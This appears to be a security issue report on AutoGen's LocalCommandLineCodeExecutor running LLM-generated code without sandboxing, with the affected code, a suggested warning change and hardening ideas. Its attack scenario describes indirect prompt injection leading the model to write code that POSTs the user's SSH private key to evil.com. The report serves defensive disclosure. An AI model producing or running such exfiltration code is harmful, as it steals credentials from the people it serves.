[Security] LocalCommandLineCodeExecutor executes LLM-generated code without sandboxing

Summary

The LocalCommandLineCodeExecutor writes LLM-generated code directly to disk and executes it as a local subprocess without any sandboxing, filesystem isolation, or network restrictions. While a UserWarning is emitted at construction time, no runtime security control prevents arbitrary code execution on the host machine.

We understand that LocalCommandLineCodeExecutor is intentionally provided as a convenience option alongside the sandboxed Docker alternative. This issue suggests strengthening the opt-in mechanism to reduce the risk of accidental production deployment without sandboxing.

Severity: HIGH Rule: AGENT-026 — Unsandboxed Execution of LLM-Generated Code OWASP Agentic Security Index: ASI-09 — Improper Output Handling Affected files:

• python/packages/autogen-ext/src/autogen_ext/code_executors/local/__init__.py (lines 391-434)

Vulnerability Details

The executor writes LLM-generated code to a temporary file and runs it directly via asyncio.create_subprocess_exec:

Affected code (local/__init__.py:391-434):

written_file = (self.work_dir / filename).resolve()
with written_file.open("w", encoding="utf-8") as f:
    f.write(code)  # <-- LLM-generated code written to disk
file_names.append(written_file)

# ... environment setup ...

program = sys.executable  # or lang_to_cmd(lang) for non-Python
extra_args = [str(written_file.absolute())]

task = asyncio.create_task(
    asyncio.create_subprocess_exec(
        program,
        *extra_args,               # <-- executed without sandboxing
        cwd=self.work_dir,
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE,
        env=env,
    )
)

The only "safeguard" is a UserWarning at initialization (__init__.py:163-168):

warnings.warn(
    "Using LocalCommandLineCodeExecutor may execute code on the local machine which can be unsafe. "
    "For security, it is recommended to use DockerCommandLineCodeExecutor instead.",
    UserWarning,
    stacklevel=2,
)

A warning is informational, not a security control. It is silently swallowed in most production configurations (e.g., when -W ignore is set or in logging pipelines that filter warnings).

Attack Scenario

1. A user deploys an AutoGen agent using LocalCommandLineCodeExecutor (following quickstart examples or for simplicity)
2. The agent interacts with untrusted data (e.g., user messages, web content, documents)
3. Through indirect prompt injection, the LLM is tricked into generating malicious code:

   import subprocess
   subprocess.run(["curl", "-X", "POST", "https://evil.com/exfil",
                    "-d", open(os.path.expanduser("~/.ssh/id_rsa")).read()])

4. The code is written to disk and executed with full host privileges

Impact

• Full system compromise: Arbitrary code execution with the privileges of the Python process
• Credential theft: Access to SSH keys, cloud credentials, API tokens, environment variables
• Lateral movement: Ability to scan internal networks, establish reverse shells, pivot to other systems
• Data destruction: Unrestricted filesystem access (read, write, delete)

Suggested Fix

Upgrade the warning from UserWarning to DeprecationWarning, which is shown by default in __main__ contexts and cannot be silently filtered by standard production configurations:

# In local/__init__.py, line ~163:
warnings.warn(
    "LocalCommandLineCodeExecutor executes LLM-generated code directly on your machine "
    "without sandboxing. Consider using DockerCommandLineCodeExecutor for production use. "
    "See https://microsoft.github.io/autogen/stable/user-guide/agentchat-user-guide/tutorial/code-executors.html",
    DeprecationWarning,  # Changed from UserWarning — visible by default, harder to silence
    stacklevel=2,
)

Fix approach: A single-line change (UserWarning → DeprecationWarning) that makes the warning significantly harder to accidentally suppress while maintaining full backward compatibility.

Future Considerations

For longer-term hardening, the team may also want to consider:

1. Explicit opt-in: Add a require_explicit_opt_in parameter that raises ValueError unless the user explicitly acknowledges the risk
2. Static analysis gate: Before execution, scan LLM-generated code for dangerous imports (os, subprocess, socket, shutil) and require explicit approval
3. Filesystem restriction: Use work_dir as a boundary, rejecting code that references paths outside it
4. Deprecation path: Consider defaulting to Docker/Azure executors in future major versions

Detection

This issue was identified by agent-audit, an open-source security scanner for AI agent code. agent-audit detects agent-specific vulnerabilities that traditional SAST tools (Semgrep, Bandit) miss — including unsafe tool definitions, MCP configuration issues, and trust boundary violations mapped to the OWASP Agentic Security Index.

References

• OWASP Agentic Security Index: ASI-09 Improper Output Handling
• CWE-94: Improper Control of Generation of Code
• AutoGen documentation: Code Executors